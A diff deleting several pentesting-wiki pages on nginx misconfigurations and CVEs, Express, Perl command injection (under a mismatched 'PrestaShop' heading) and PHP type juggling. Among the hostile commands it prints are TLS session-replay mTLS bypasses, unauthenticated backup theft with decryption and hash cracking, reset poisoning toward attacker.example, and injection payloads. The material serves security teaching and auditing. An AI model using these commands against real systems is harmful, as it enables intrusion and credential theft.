-If the second request suddenly returns a different upstream route, a login page, an admin-only response, or a cacheable private object, suspect `proxy_pass` normalization issues.
-
-### Safer patterns
-
-If nginx only needs to forward the request, prefer omitting the URI part:
-
-```nginx
-location /api/ {
-    proxy_pass http://backend;
-}
-```
-
-If the path must be rewritten before proxying, preserve the **raw** request path with `$request_uri` before doing rewrites; otherwise the rewrite operates on nginx's normalized `$uri`.
-
-### **Malicious Response Headers**
-
-As shown in [**this writeup**](https://mizu.re/post/cors-playground), there are certain headers that if present in the response from the web server they will change the behaviour of the Nginx proxy. You can check them [**in the docs**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
-
-- `X-Accel-Redirect`: Indicate Nginx to internally redirect a request to a specified location.
-- `X-Accel-Buffering`: Controls whether Nginx should buffer the response or not.
-- `X-Accel-Charset`: Sets the character set for the response when using X-Accel-Redirect.
-- `X-Accel-Expires`: Sets the expiration time for the response when using X-Accel-Redirect.
-- `X-Accel-Limit-Rate`: Limits the rate of transfer for responses when using X-Accel-Redirect.
-
-For example, the header **`X-Accel-Redirect`** will cause an internal **redirect** in the nginx. So having an nginx configuration with something such as **`root /`** and a response from the web server with **`X-Accel-Redirect: .env`** will make nginx sends the content of **`/.env`** (Path Traversal).
-
-### **Default Value in Map Directive**
-
-In the **Nginx configuration**, the `map` directive often plays a role in **authorization control**. A common mistake is not specifying a **default** value, which could lead to unauthorized access. For instance:
-
-```yaml
-http {
-map $uri $mappocallow {
-/map-poc/private 0;
-/map-poc/secret 0;
-/map-poc/public 1;
-}
-}
-```
-
-```yaml
-server {
-    location /map-poc {
-        if ($mappocallow = 0) {return 403;}
-        return 200 "Hello. It is private area: $mappocallow";
-    }
-}
-```
-
-Without a `default`, a **malicious user** can bypass security by accessing an **undefined URI** within `/map-poc`. [The Nginx manual](https://nginx.org/en/docs/http/ngx_http_map_module.html) advises setting a **default value** to avoid such issues.
-
-### **DNS Spoofing Vulnerability**
-
-DNS spoofing against Nginx is feasible under certain conditions. If an attacker knows the **DNS server** used by Nginx and can intercept its DNS queries, they can spoof DNS records. This method, however, is ineffective if Nginx is configured to use **localhost (127.0.0.1)** for DNS resolution. Nginx allows specifying a DNS server as follows:
-
-```yaml
-resolver 8.8.8.8;
-```
-
-### **`proxy_pass` and `internal` Directives**
-
-The **`proxy_pass`** directive is utilized for redirecting requests to other servers, either internally or externally. The **`internal`** directive ensures that certain locations are only accessible within Nginx. While these directives are not vulnerabilities by themselves, their configuration requires careful examination to prevent security lapses.
-
-## proxy_set_header Upgrade & Connection
-
-If the nginx server is configured to pass the Upgrade and Connection headers an [**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) could be performed to access protected/internal endpoints.
-
-> [!CAUTION]
-> This vulnerability would allow an attacker to **stablish a direct connection with the `proxy_pass` endpoint** (`http://backend:9999` in this case) that whose content is not going to be checked by nginx.
-
-Example of vulnerable configuration to steal `/flag` from [here](https://bishopfox.com/blog/h2c-smuggling-request):
-
-```
-server {
-    listen       443 ssl;
-    server_name  localhost;
-
-    ssl_certificate       /usr/local/nginx/conf/cert.pem;
-    ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;
-
-    location / {
-     proxy_pass http://backend:9999;
-     proxy_http_version 1.1;
-     proxy_set_header Upgrade $http_upgrade;
-     proxy_set_header Connection $http_connection;
-    }
-
-    location /flag {
-     deny all;
-    }
-```
-
-> [!WARNING]
-> Note that even if the `proxy_pass` was pointing to a specific **path** such as `http://backend:9999/socket.io` the connection will be stablished with `http://backend:9999` so you can **contact any other path inside that internal endpoint. So it doesn't matter if a path is specified in the URL of proxy_pass.**
-
-## HTTP/2 upstream request injection with `proxy_set_body`
-
-A newer nginx-specific audit point is the combination of **`proxy_http_version 2;`** and **`proxy_set_body`**. In the vulnerable 2026 advisory window, nginx could build an upstream HTTP/2 DATA frame whose announced length wrapped while the **full attacker-influenced body bytes** were still forwarded to the upstream peer. The practical consequence is that the upstream may interpret the trailing bytes as **new HTTP/2 frame headers / payload**, turning a body rewrite primitive into an **upstream request injection / desynchronization** primitive.
-
-This is especially interesting in internal API-gateway style deployments where nginx speaks HTTP/2 to the backend and the request body is rebuilt from user-controlled variables. Example audit pattern:
-
-```nginx
-location /api/relay {
-    proxy_pass http://backend;
-    proxy_http_version 2;
-    proxy_set_body $arg_data;
-}
-```
-
-### What to look for
-
-- `proxy_http_version 2;` in any reverse-proxy location
-- `proxy_set_body` fed from **request parameters, headers, captures, or variables**
-- Internal gRPC / HTTP/2 backends where an injected frame can change request semantics or reset other streams
-
-### Testing idea
-
-If you can influence the bytes copied into `proxy_set_body`, send unusually large values and watch for:
-
-- upstream-only `RST_STREAM` / `GOAWAY` errors
-- backend behavior that differs from nginx access logs
-- responses that suggest the upstream parsed **more than one logical frame** from a single proxied request
-
-This is conceptually related to [HTTP/2 request smuggling and downgrading issues](../../pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md), but here the trust boundary is between **nginx and its HTTP/2 upstream peer**.
-
-## HTTP/3 QUIC module remote DoS & leak (2024)
-
-During 2024 Nginx disclosed CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 and CVE-2024-35200 showing that a **single hostile QUIC session** can crash worker processes or leak memory whenever the experimental `ngx_http_v3_module` is compiled in and a `listen ... quic` socket is exposed. Impacted builds are 1.25.0–1.25.5 and 1.26.0, while 1.27.0/1.26.1 ship the fixes; the memory disclosure (CVE-2024-34161) additionally requires MTUs larger than 4096 bytes to surface sensitive data (details in the 2024 nginx advisory referenced below).
-
-**Recon & exploitation hints**
-
-- HTTP/3 is opt-in, so scan for `Alt-Svc: h3=":443"` responses or brute-force UDP/443 QUIC handshakes; once confirmed, fuzz the handshake and STREAM frames with custom `quiche-client`/`nghttp3` payloads to trigger worker crashes and force log leakage.
-- Quickly fingerprint target support with:
-
-```bash
-nginx -V 2>&1 | grep -i http_v3
-rg -n "listen .*quic" /etc/nginx/
-```
-
-## TLS session resumption bypass of client cert auth (CVE-2025-23419)
-
-A February 2025 advisory disclosed that nginx 1.11.4–1.27.3 built with OpenSSL allows **reusing a TLS 1.3 session** from one name-based virtual host inside another, so a client that negotiated a certificate-free host can replay the ticket/PSK to jump into a vhost protected with `ssl_verify_client on;` and skip mTLS entirely. The bug triggers whenever multiple virtual hosts share the same TLS 1.3 session cache and tickets (see the 2025 nginx advisory referenced below).
-
-**Attacker playbook**
-
-```bash
-# 1. Create a TLS session on the public vhost and save the session ticket
-openssl s_client -connect public.example.com:443 -sess_out ticket.pem
-
-# 2. Replay that session ticket against the mTLS vhost before it expires
-openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
-```
-
-If the target is vulnerable, the second handshake completes without presenting a client certificate, revealing protected locations.
-
-**What to audit**
-
-- Mixed `server_name` blocks that share `ssl_session_cache shared:SSL` plus `ssl_session_tickets on;`.
-- Admin/API blocks that expect mTLS but inherit shared session cache/ticket settings from public hosts.
-- Automation that enables TLS 1.3 session resumption globally (e.g., Ansible roles) without considering vhost isolation.
-
-## HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)
-
-The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank `keepalive_requests` or `http2_max_concurrent_streams` beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues `RST_STREAM` frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits "substantially higher" makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).
-
-**Detection tips**
-
-```bash
-# Highlight risky knobs
-rg -n "http2_max_concurrent_streams" /etc/nginx/
-rg -n "keepalive_requests" /etc/nginx/
-```
-
-Hosts that reveal unusually high values for those directives are prime targets: one HTTP/2 client can loop through stream creation and instant `RST_STREAM` frames to keep CPU pegged without tripping the concurrency cap.
-
-## Optional `mp4` module attack surface
-
-The `ngx_http_mp4_module` remains worth checking during nginx assessments because it is **not built by default**, but when it is enabled and a location uses the `mp4;` directive, a hostile MP4 can still become a worker-crash primitive. The 2024 advisory (CVE-2024-7347) showed that simply **requesting a specially crafted MP4 through nginx pseudo-streaming** was enough to crash a worker; later 2026 advisories show the same module is still a recurring source of parser bugs.
-
-From an offensive perspective, this matters whenever an attacker can:
-
-- upload or replace media files later served through nginx
-- force nginx to parse attacker-controlled MP4 files from shared storage / object stores
-- hit video endpoints that rely on nginx pseudo-streaming instead of passing the file straight through
-
-Quick triage on a box or container:
-
-```bash
-nginx -V 2>&1 | grep -o -- '--with-http_mp4_module'
-rg -n '^\s*mp4\s*;' /etc/nginx /usr/local/nginx/conf 2>/dev/null
-```
-
-If both checks hit, test every upload-to-stream path as a potential nginx crash surface, not just as an application-level media parser bug.
-
-## Nginx UI pre-auth backup export + crypto material leakage
-
-**Nginx UI** is a separate admin panel for nginx, not the nginx daemon itself. In **Nginx UI < 2.3.3**, the backup export endpoint may be reachable **without authentication** and the response can also leak the **AES-256-CBC key and IV** needed to decrypt the backup via the `X-Backup-Security` header. This turns an "encrypted backup download" into immediate **credential / token / private-key disclosure**.
-
-### Fast version fingerprinting from SPA assets
-
-If the login page is a JS-heavy SPA, pull the main bundle from `/` and look for a dedicated version chunk:
-
-```bash
-curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
-curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
-curl -s http://admin.example/assets/version-<hash>.js
-```
-
-On vulnerable Nginx UI builds this often returns a literal such as `const t="2.3.2"`, which is enough to match the vulnerable range before authenticating.
-
-### Check exposed API endpoints and pull the backup
-
-Even when most `/api/*` routes return `403`, test backup-style endpoints directly:
-
-```bash
-curl -s http://admin.example/api/install
-curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
-grep -i '^X-Backup-Security:' headers.txt
-unzip -l backup.zip
-```
-
-If vulnerable, `X-Backup-Security` contains `base64(key):base64(iv)`. Decode both values and confirm the expected lengths (**32-byte key**, **16-byte IV**):
-
-```bash
-KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
-KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
-IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
-unzip backup.zip -d backup
-openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
-openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
-openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
-```
-
-After decryption, inspect the recovered nginx configs and the Nginx UI application data. A common post-exploitation path is:
-
-- Extract reverse-proxy and vhost details from `nginx_dec.zip`
-- Inspect `nginx-ui_dec.zip` for `app.ini`, `database.db`, API tokens, or certificate material
-- Dump the SQLite `users` table and crack recovered password hashes offline
-
-```bash
-unzip nginx-ui_dec.zip -d nginx-ui
-sqlite3 nginx-ui/database.db 'select name,password from users;'
-hashcat -m 3200 hashes.txt <wordlist>
-```
-
-This pattern is worth testing in other admin products too: **an unauthenticated "encrypted" export is still plaintext disclosure if the response leaks the decryption material or stores it alongside the archive.**
-
-## Try it yourself
-
-Detectify has created a GitHub repository where you can use Docker to set up your own vulnerable Nginx test server with some of the misconfigurations discussed in this article and try finding them yourself!
-
-[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
-
-## Static Analyzer tools
-
-### [gixy-ng](https://github.com/dvershinin/gixy) & [Gixy-Next](https://gixy.io/) & [GIXY](https://github.com/yandex/gixy)
-
-
-- [Gixy-Next](https://gixy.io/) (an updated fork of GIXY) is a tool to analyze Nginx configurations, with the goal of finding vulnerabilities, insecure directives, and risky misconfigurations. It also finds misconfigurations affecting performance, and detects missed hardening opportunities, allowing automated flaw detection.
-- [gixy-ng](https://github.com/dvershinin/gixy) (the actively maintained fork of GIXY) is a tool to analyze Nginx configurations, with the goal of finding vulnerabilities, insecure directives, and risky misconfigurations. It also finds misconfigurations affecting performance, and detects missed hardening opportunities, allowing automated flaw detection.
-
-### [Nginxpwner](https://github.com/stark0de/nginxpwner)
-
-Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulnerabilities.
-
-## References
-
-- [**https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/**](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)
-- [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
-- [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
-- [**https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html**](https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html)
-- [**https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html**](https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html)
-- [**https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products**](https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products)
-- [**https://joshua.hu/proxy-pass-nginx-decoding-normalizing-url-path-dangerous**](https://joshua.hu/proxy-pass-nginx-decoding-normalizing-url-path-dangerous)
-- [**https://mailman.nginx.org/pipermail/nginx-announce/2024/UUOCLLONPR6244YQYU65PO5LB7JDYCWM.html**](https://mailman.nginx.org/pipermail/nginx-announce/2024/UUOCLLONPR6244YQYU65PO5LB7JDYCWM.html)
-- [**https://0xdf.gitlab.io/2026/04/01/htb-snapped.html**](https://0xdf.gitlab.io/2026/04/01/htb-snapped.html)
-- [**https://nvd.nist.gov/vuln/detail/CVE-2026-27944**](https://nvd.nist.gov/vuln/detail/CVE-2026-27944)
-- [**https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762**](https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762)
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md
deleted file mode 100644
index 7707246ca55..00000000000
--- a/src/network-services-pentesting/pentesting-web/nodejs-express.md
+++ /dev/null
@@ -1,193 +0,0 @@
-# NodeJS Express
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Quick Fingerprinting
-
-Useful Express indicators during recon:
-
-- `X-Powered-By: Express` or stack traces mentioning `express`, `body-parser`, `qs`, `cookie-parser`, `express-session`, or `finalhandler`
-- Cookies prefixed with `s:` (signed cookie) or `j:` (JSON cookie)
-- Session cookies such as `connect.sid`
-- Hidden form fields or query parameters such as `_method=PUT` / `_method=DELETE`
-- Error pages leaking `Cannot GET /path`, `Cannot POST /path`, `Unexpected token` in `body-parser`, or `URIError` during query parsing
-
-When you confirm Express, focus on the middleware chain, because most interesting bugs come from parsers, proxy trust, session handling, and method-tunneling rather than from the framework core itself.
-
-## Cookie Signature
-
-The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is a utility for automating the testing and re-signing of Express.js cookie secrets.
-
-Express commonly exposes two useful cookie formats:
-
-- `s:<value>.<sig>` signed cookies handled by `cookie-parser` or `express-session`
-- `j:<json>` JSON cookies that are automatically parsed by `cookie-parser`
-
-If `cookie-parser` receives a signed cookie and the signature is invalid, the value becomes `false` instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.
-
-### Single cookie with a specific name
-
-```bash
-cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
-```
-
-### Custom wordlist
-
-```bash
-cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
-```
-
-### Test multiple cookies using batch mode
-
-```bash
-cookie-monster -b -f cookies.json
-```
-
-### Test multiple cookies using batch mode with a custom wordlist
-
-```bash
-cookie-monster -b -f cookies.json -w custom.lst
-```
-
-### Encode and sign a new cookie
-
-If you know the secret you can sign the cookie.
-
-```bash
-cookie-monster -e -f new_cookie.json -k secret
-```
-
-## Query String and URL-Encoded Parser Abuse
-
-Express targets often become interesting when they parse attacker-controlled keys into nested objects.
-
-- `req.query` can be configured with different parsers, including `qs`
-- `express.urlencoded({ extended: true })` uses `qs`-style parsing for `application/x-www-form-urlencoded`
-- Nested parsing unlocks object injection, mass assignment, NoSQL injection, and prototype pollution chains if the parsed object is merged into application state
-
-Practical payloads to try:
-
-```bash
-# Mass assignment style probe
-curl 'https://target.example/profile?role=admin&isAdmin=true'
-
-# Nested object / qs syntax
-curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'
-
-# URL-encoded body against express.urlencoded({ extended: true })
-curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'
-```
-
-If the app reflects or persists the resulting object, pivot into the dedicated pages for exploitation details:
-
-{{#ref}}
-../../pentesting-web/mass-assignment-cwe-915.md
-{{#endref}}
-
-{{#ref}}
-../../pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
-{{#endref}}
-
-Extra tests that are worth sending against Express specifically:
-
-- Deep nesting to look for parser limits, timeouts, or 400/413 differences
-- Duplicate keys to see whether the app keeps the first value, the last one, or an array
-- Bracket syntax such as `a[b][c]=1`, dotted syntax such as `a.b=1`, and `__proto__` / `constructor[prototype]` payloads
-
-## `trust proxy` Abuse
-
-If the app uses `app.set("trust proxy", true)` or trusts too many hops, Express will derive security-relevant values from forwarding headers. If the reverse proxy does not overwrite them, a client can spoof them directly.
-
-That affects:
-
-- `req.hostname` via `X-Forwarded-Host`
-- `req.protocol` via `X-Forwarded-Proto`
-- `req.ip` / `req.ips` via `X-Forwarded-For`
-
-This is useful for:
-
-- Password reset poisoning and absolute URL poisoning
-- Bypassing IP-based allowlists, rate limits, or audit trails
-- Influencing `secure` cookie handling and HTTPS-only logic in apps that key off `req.protocol`
-- Poisoning redirects or cacheable responses when the app templates absolute links with forwarded host/proto headers
-
-```http
-POST /reset-password HTTP/1.1
-Host: target.example
-X-Forwarded-Host: attacker.example
-X-Forwarded-Proto: https
-X-Forwarded-For: 127.0.0.1
-Content-Type: application/json
-
-{"email":"victim@target.example"}
-```
-
-Check whether generated links, redirect locations, logs, or access-control decisions now use attacker-supplied values.
-
-Related pages:
-
-{{#ref}}
-../../pentesting-web/reset-password.md
-{{#endref}}
-
-{{#ref}}
-../../pentesting-web/cache-deception/README.md
-{{#endref}}
-
-## `express-session` Testing Notes
-
-Common Express deployments use `express-session`, which signs the session identifier cookie but stores the real state server-side.
-
-Useful checks:
-
-- **Session fixation**: authenticate with a pre-login cookie and verify whether the SID stays the same after login
-- **Weak secret rotation**: some deployments verify cookies with an array of old secrets, so previously valid signatures may continue to work
-- **`saveUninitialized: true`**: the application issues pre-auth sessions to anonymous users, which makes fixation easier and increases session surface for brute-force or cache analysis
-- **`MemoryStore`** in production usually indicates weak operational maturity and unstable session behavior during restarts
-
-A practical fixation workflow:
-
-1. Obtain an anonymous session cookie from the target.
-2. Send that cookie to a victim or authenticate with it yourself.
-3. Check whether login binds the authenticated state to the existing SID.
-4. If it does, replay the same cookie in a separate browser session.
-
-If the app does not call `req.session.regenerate()` after authentication, fixation is often still possible.
-
-## Method Override Tunneling
-
-Some Express apps use `method-override` to tunnel verbs that HTML forms cannot send natively. When enabled, always test whether you can smuggle dangerous methods through a route that the front-end, WAF, or CSRF logic assumed was only `POST`.
-
-Typical probes:
-
-```http
-POST /users/42 HTTP/1.1
-Host: target.example
-X-HTTP-Method-Override: DELETE
-Content-Type: application/x-www-form-urlencoded
-
-confirm=yes
-```
-
-```http
-POST /users/42?_method=PUT HTTP/1.1
-Host: target.example
-Content-Type: application/x-www-form-urlencoded
-
-role=admin
-```
-
-Interesting impacts:
-
-- Reaching hidden `PUT` / `PATCH` / `DELETE` routes through a `POST`-only edge control
-- Bypassing route-specific middleware that only checks `req.method`
-- Triggering state-changing handlers via CSRF when the application validates only the outer request method
-
-By default the middleware usually only overrides `POST`, so prioritize `POST` requests with header, body, and query-string override values.
-
-## References
-
-- [https://expressjs.com/en/guide/behind-proxies.html](https://expressjs.com/en/guide/behind-proxies.html)
-- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/perl-tricks.md b/src/network-services-pentesting/pentesting-web/perl-tricks.md
deleted file mode 100644
index 84a404b5e5a..00000000000
--- a/src/network-services-pentesting/pentesting-web/perl-tricks.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# PrestaShop
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Perl backticks/qx// sinks in Apache mod_perl handlers (reachability and exploitation)
-
-Real-world pattern: Perl code builds a shell command string and executes it via backticks (or qx//). In a mod_perl AccessHandler, attacker-controlled request components like $r->uri() can flow into that string. If any branch concatenates raw input and then evaluates it with a shell, you get pre-auth RCE.
-
-Risky Perl execution primitives (spawn a shell when given a single string):
-- Backticks / qx//: my $out = `cmd ...`;
-- system with a single string: system("/bin/sh -c '...'") implicitly
-- open with a pipe: open my $fh, "cmd |" or "| cmd"
-- IPC::Open3 with a single string
-
-Minimal vulnerable shape observed in the wild:
-```perl
-sub getCASURL {
-  ...
-  my $exec_cmd = "...";
-  if ($type eq 'login') {
-    $exec_cmd .= $uri;        # $uri from $r->uri() → attacker-controlled
-    my $out = `$exec_cmd`;    # backticks = shell
-  }
-}
-```
-Key reachability considerations in mod_perl:
-- Handler registration: httpd.conf must route requests into your Perl module, e.g. PerlModule MOD_SEC_EMC::AccessHandler and configuration that invokes AccessHandler::handler for a path scope.
-- Triggering the vulnerable branch: force the unauthenticated login flow so type == "login" (e.g., omit the expected auth cookie).
-- Resolvable path: ensure your request targets a URI that resolves within the configured scope. If Apache never routes the request through the handler, the sink isn’t reached.
-
-Exploitation workflow
-1) Inspect httpd.conf for PerlModule/MOD_PERL handler scopes to find a resolvable path processed by the handler.
-2) Send an unauthenticated request so the login redirect path is taken (type == "login").
-3) Place shell metacharacters in the request-URI path so $r->uri() carries your payload into the command string.
-
-Example HTTP PoC (path injection via ';')
-```http
-GET /ui/health;id HTTP/1.1
-Host: target
-Connection: close
-```
-Tips
-- Try separators: ;, &&, |, `backticks`, $(...), and encoded newlines (%0A) depending on quoting.
-- If earlier patches quote other args but not the URI in one branch, payloads appended at the end of the string often work: ;id# or &&/usr/bin/id#
-
-Hardening (Perl)
-- Do not build shell strings. Prefer argument-vector execution: system('/usr/bin/curl', '--silent', '--', $safe_url) — no shell.
-- If a shell is unavoidable, escape strictly and consistently across all branches; treat $r->uri() as hostile. Consider URI::Escape for paths/queries and strong allowlists.
-- Avoid backticks/qx// for command execution; capture output via open3/list form if truly needed without invoking a shell.
-- In mod_perl handlers, keep auth/redirect code paths free of command execution or ensure identical sanitization across branches to avoid “fixed everywhere but one branch” regressions.
-
-Vulnerability hunting
-- Patch-diff modules that assemble shell commands; look for inconsistent quoting between branches (e.g., if ($type eq 'login') left unescaped).
-- Grep for backticks, qx//, open\s*\(|\||, and system\s*\(\s*" to find string-based shells. Build a call graph from sink to request entry ($r) to verify pre-auth reachability.
-
-Real-world case: Dell UnityVSA pre-auth RCE (CVE-2025-36604)
-- Pre-auth command injection via backticks in AccessTool.pm:getCASURL when type == "login" concatenated raw $uri ($r->uri()).
-- Reachable through MOD_SEC_EMC::AccessHandler → make_return_address($r) → getCASLoginURL(..., type="login") → getCASURL(..., $uri, 'login').
-- Practical nuance: use a resolvable path covered by the handler; otherwise the module won’t execute and the sink won’t be hit.
-
-## References
-
-- [It’s Never Simple Until It Is: Dell UnityVSA Pre‑Auth Command Injection (CVE‑2025‑36604)](https://labs.watchtowr.com/its-never-simple-until-it-is-dell-unityvsa-pre-auth-command-injection-cve-2025-36604/)
-- [Dell PSIRT DSA‑2025‑281 – Security update for Dell Unity/UnityVSA/Unity XT](https://www.dell.com/support/kbdoc/en-uk/000350756/dsa-2025-281-security-update-for-dell-unity-dell-unityvsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities)
-- [watchTowr Detection Artefact Generator – Dell UnityVSA Pre‑Auth CVE‑2025‑36604](https://github.com/watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
deleted file mode 100644
index b4b85c1ccb1..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ /dev/null
@@ -1,541 +0,0 @@
-# PHP Tricks
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cookies common location:
-
-This is also valid for phpMyAdmin cookies.
-
-Cookies:
-
-```
-PHPSESSID
-phpMyAdmin
-```
-
-Locations:
-
-```
-/var/lib/php/sessions
-/var/lib/php5/
-/tmp/
-Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
-```
-
-## Bypassing PHP comparisons
-
-### Loose comparisons/Type Juggling ( == )
-
-If `==` is used in PHP, then there are unexpected cases where the comparison doesn't behave as expected. This is because "==" only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use `===`.
-
-PHP comparison tables: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
-
-![Bypassing PHP comparisons - Loose comparisons/Type Juggling ( == ): PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php](<../../../images/image (567).png>)
-
-{{#file}}
-EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
-{{#endfile}}
-
-- `"string" == 0 -> True` A string which doesn't start with a number is equals to a number
-- `"0xAAAA" == "43690" -> True` Strings composed by numbers in dec or hex format can be compare to other numbers/strings with True as result if the numbers were the same (numbers in a string are interpreted as numbers)
-- `"0e3264578" == 0 --> True` A string starting with "0e" and followed by anything will be equals to 0
-- `"0X3264578" == 0X --> True` A string starting with "0" and followed by any letter (X can be any letter) and followed by anything will be equals to 0
-- `"0e12334" == "0" --> True` This is very interesting because in some cases you can control the string input of "0" and some content that is being hashed and compared to it. Therefore, if you can provide a value that will create a hash starting with "0e" and without any letter, you could bypass the comparison. You can find **already hashed strings** with this format here: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
-- `"X" == 0 --> True` Any letter in a string is equals to int 0
-
-More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
-
-### **in_array()**
-
-**Type Juggling** also affects to the `in_array()` function by default (you need to set to true the third argument to make an strict comparison):
-
-```php
-$values = array("apple","orange","pear","grape");
-var_dump(in_array(0, $values));
-//True
-var_dump(in_array(0, $values, true));
-//False
-```
-
-### strcmp()/strcasecmp()
-
-If this function is used for **any authentication check** (like checking the password) and the user controls one side of the comparison, he can send an empty array instead of a string as the value of the password (`https://example.com/login.php/?username=admin&password[]=`) and bypass this check:
-
-```php
-if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
-// Real Password
-if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
-// Real Password
-```
-
-The same error occurs with `strcasecmp()`
-
-### Strict type Juggling
-
-Even if `===` is **being used** there could be errors that makes the **comparison vulnerable** to **type juggling**. For example, if the comparison is **converting the data to a different type of object before comparing**:
-
-```php
-(int) "1abc" === (int) "1xyz" //This will be true
-```
-
-### preg_match(/^.\*/)
-
-**`preg_match()`** could be used to **validate user input** (it **checks** if any **word/regex** from a **blacklist** is **present** on the **user input** and if it's not, the code can continue it's execution).
-
-#### New line bypass
-
-However, when delimiting the start of the regexp`preg_match()` **only checks the first line of the user input**, then if somehow you can **send** the input in **several lines**, you could be able to bypass this check. Example:
-
-```php
-$myinput="aaaaaaa
-11111111"; //Notice the new line
-echo preg_match("/1/",$myinput);
-//1  --> In this scenario preg_match find the char "1"
-echo preg_match("/1.*$/",$myinput);
-//1  --> In this scenario preg_match find the char "1"
-echo preg_match("/^.*1/",$myinput);
-//0  --> In this scenario preg_match DOESN'T find the char "1"
-echo preg_match("/^.*1.*$/",$myinput);
-//0  --> In this scenario preg_match DOESN'T find the char "1"
-```
-
-To bypass this check you could **send the value with new-lines urlencoded** (`%0A`) or if you can send **JSON data**, send it in **several lines**:
-
-```php
-{
-  "cmd": "cat /etc/passwd"
-}
-```
-
-Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
-
-#### **Length error bypass**
-
-(This bypass was tried apparently on PHP 5.2.5 and I couldn't make it work on PHP 7.3.15)\
-If you can send to `preg_match()` a valid very **large input**, it **won't be able to process it** and you will be able to **bypass** the check. For example, if it is blacklisting a JSON you could send:
-
-```bash
-payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
-```
-
-From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
-
-#### ReDoS Bypass
-
